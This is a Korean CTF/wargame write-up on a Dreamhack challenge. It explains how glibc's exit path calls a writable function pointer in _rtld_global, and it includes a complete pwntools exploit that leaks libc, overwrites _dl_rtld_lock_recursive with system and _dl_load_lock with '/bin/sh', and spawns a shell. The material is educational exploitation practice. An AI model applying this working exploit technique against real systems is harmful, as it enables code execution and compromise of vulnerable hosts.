System Hacking

linux library exploit :: _rtld_global

burrri 2024. 3. 28. 10:59

+ Glibc 2.34 이전 버전에서 수행 가능한 공격 기법이므로 Glibc 2.27버전을 내장하는 Ubuntu 18.04 64-bit환경에서 실행됨

 

기본적으로 종료를 하는 프로그램 내에서 로더를 통하여 다양한 함수들이 호출된다. 

이 과정에서 호출되는 함수를 순서대로 알아보자. 

__Gl_exit >> _run_exit_handlers >> _dl_final >> _rtld_global

 

__Gl_exit

main 함수 내에서 리턴 명령어 실행 시, 스택 최상단에 있는 __libc_start_main+231 의 코드가 진행되고, 내부에서 __GL_exit 함수를 호출한다.

=> 0x7ffff7a25240 <__GI_exit>:	lea    rsi,[rip+0x3a84d1]        # 0x7ffff7dcd718 <__exit_funcs>
   0x7ffff7a25247 <__GI_exit+7>:	sub    rsp,0x8
   0x7ffff7a2524b <__GI_exit+11>:	mov    ecx,0x1
   0x7ffff7a25250 <__GI_exit+16>:	mov    edx,0x1
   0x7ffff7a25255 <__GI_exit+21>:	call   0x7ffff7a24ff0 <__run_exit_handlers>

함수 내부에서 _run_exit_handlers를 호출하는 것을 볼 수 있다.

 

_run_exit_handlers

exit_function의 구조체 멤버 변수에 따른 함수 포인터를 호출한다. 만약 예제의 return 0 처럼 프로그램 종료 시에는 _dl_fini 함수를 호출한다. 

 

_dl_final

# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)
  
void
_dl_fini (void)
{
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

_rtld_lock_lock_recursive 함수는 dl_load_lock 을 인자로 호출되며,

이 함수는 dl_rtld_lock_recursieve 함수 포인터이다. 이 포인터는 _rtld_global 구조체의 멤버 변수이다.

 

 

_rtld_global

(/lib/x86-64-linux-gnu/ld-2.27,so 에 위치) 

gdb-peda$ p _rtld_global
_dl_load_lock = {
    mutex = {
      __data = {
        __lock = 0x0, 
        __count = 0x0, 
        __owner = 0x0, 
        __nusers = 0x0, 
        __kind = 0x1, 
        __spins = 0x0, 
        __elision = 0x0, 
        __list = {
          __prev = 0x0, 
          __next = 0x0
        }
      }, 
      __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, 
      __align = 0x0
    }
  },
  _dl_rtld_lock_recursive = 0x7ffff7dd60e0 <rtld_lock_default_lock_recursive>, 
  ...
}
gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
gdb-peda$ vmmap 0x7ffff7ffdf60
Start              End                Perm	Name
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.27.so

 

해당 구조체에는 _dl_rtld_lock_recursive함수 포인터가 있으며 이는 rtld_lock_default_lock_recursive 함수 주소를 저장하고 있다. 구조체의 함수 포인터가 저장된 영역은 rw권한이 존재! 하기에 overwrite할 수 있다. 

프로세스 로드 시에 호출되는 dl_main에 의하여 _rtld_global 속의 dl_rtld_lock_recursive 함수 포인터는 초기화된다. 

 

즉, 구조체 내 함수 포인터는 프로세스가 실행되며 초기화되며, rw영역에 존재한다. 

 


Exploit Tech : _rtld_global

https://dreamhack.io/wargame/challenges/360
checksec

 

- amd64-64 

- FULL RELRO, canary 적용, NX적용, PIE 적용 

=> 모든 보호기법이 걸려있다..

 

- 코드 분석 

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();
 
  // 표준 출력 스트림 stdout의 주소(포인터) 출력 
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        // addr의 주소에 data를 삽입 => 취약점
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

 

- 시나리오

1. library 및 loader 베이스 주소 계산

stdout의 주소 출력 -> libc의 베이스 주소 확인 가능 

"/lib64/ld-linux-x86-64.so.2"  > 맵핑된 로더의 베이스 주소 확인 가능 

 

! 라이브러리와 매핑된 주소의 간격은 일정! -> 디버깅을 통해 알아보자.

 

2. _rtld_global 구조체 계산

로더의 베이스 주소 + rtld_global 구조체의 심볼 offset => _rtld_global의 주소 !

구조체의 주소 -> 멤버 변수 _dl_load_lock, _dl_rtld_lock_recursive 함수 포인터의 주소 !

 

3. _rtld_global 구조체 조작

( 조작하고자 하는 original 부분 : 프로그램 종료 과정 )

_rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터 호출! 

 

-> 이 과정에서 인자 _dl_load_lock을 셸 또는 "sh"문자열로 삽입 &&  실행 함수 _dl_rtld_lock_recursive를 system함수로 ow 

==> shell 획득 

 

 

Exploit 과정

첨부된 파일(ld-2.27.so) 과 실습 환경 (ld-linux-x86-어쩌구) 가 다르면 _rtld_global오프셋도 다르기에 

patchelf을 활용하여 우리가 사용하고자하는 로더를 ld.so에 패치하자

 

vmmap을 통해서 내가 설정하고자하는 로더로 잘 패치된 것을 확인할 수 있다.

 

1. library 및 loader 베이스 주소 계산

e.symbol [IO_2_1_stdout]을 이용 -> stdout - e.symbol => 라이브러리의 베이스(libc-2.27.so) 주소

디버깅 -> 로더 (ld-2.27.so) 와 라이브러리 베이스의 offset 간극 확인

=> ld_base addr 확인 

 

from pwn import *

p = remote('host3.dreamhack.games',10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

p. recvuntil(b': ')
# stdout 주소 겟
stdout= int(p.recvuntil(b'\n'),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print('libc base', hex(libc_base))
print('ld base', hex(ld_base))
p.interactive()

 

2. _rtld_global 구조체 계산

ㄴ 2.1 디버깅 심볼 다운로드

 디버깅 심볼 : _rtld_global 구조체 이름 뿐 아니라 내부 멤버 변수 정보 포함 

 -> libc, ld의 Glibc 버전에 맞춰 상응하는 디버깅 심볼이 필요!

 

ㄴ 2.2 _rtld_global의 멤버 변수 offset 얻기

다운 받은 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일 내에서 

_rtld_global 구조체의 멤버 변수 _dl_load_lock과 멤버 변수 _dl_rtld_lock_recursive offset을 gdb를 통해 얻자

 

ㄴ2.3 주소 계산

ld 주소 + 각각의 offset 더하면 _dl_load_lock , _dl_rtld_lock_recursive의 오프셋 겟 ㅎㅎ

# 위에 이어서 추가

rtld_global = ld_base + ld.symbols['_rtld_global']

# 각각의 offset을 더하여 addr 획득 
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
p.interactive()

 

 

3. _rtld_global 구조체 조작

#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')

# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')

# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()

 

 

Exploit code

from pwn import *
p = remote('host3.dreamhack.games', 10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))

rtld_global = ld_base + ld.symbols['_rtld_global']

# 각각의 offset을 더하여 addr 획득 
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))

#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')

# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')

# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()